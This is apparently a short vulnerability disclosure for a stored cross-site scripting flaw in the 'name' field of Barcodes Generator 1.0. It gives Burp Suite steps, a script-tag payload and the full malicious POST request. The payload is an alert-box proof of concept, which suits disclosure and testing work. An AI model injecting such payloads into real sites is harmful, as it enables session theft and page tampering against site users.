Barcodes Generator 1.0 Cross Site Scripting

`# Exploit Title: Barcodes generator 1.0 - 'name' Stored Cross Site Scripting  
# Date: 10/12/2020  
# Exploit Author: Nikhil Kumar   
# Vendor Homepage: http://egavilanmedia.com/  
# Software Link: http://egavilanmedia.com/barcodes-generator-using-php-mysql-and-jsbarcode-library/  
# Version: 1.0  
# Tested On: Ubuntu  
  
1. Open the index.php page using following url   
  
http://localhost/Barcodes-Generator-Using-PHP-MySQL-and-JsBarcode/index.php  
  
click on the New Barcode  
  
2. Intercept the request through burp suite  
  
Put a payload on "name=" parameter  
  
Payload :- abc"><script>alert("XSS")</script>  
  
Malicious Request::  
  
POST /Barcodes-Generator-Using-PHP-MySQL-and-JsBarcode/php/insert.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 6  
Origin: http://localhost  
DNT: 1  
Connection: close  
Referer: http://localhost/Barcodes-Generator-Using-PHP-MySQL-and-JsBarcode/index.php  
Upgrade-Insecure-Requests: 1  
  
name=abc"><script>alert("XSS")</script>  
  
  
`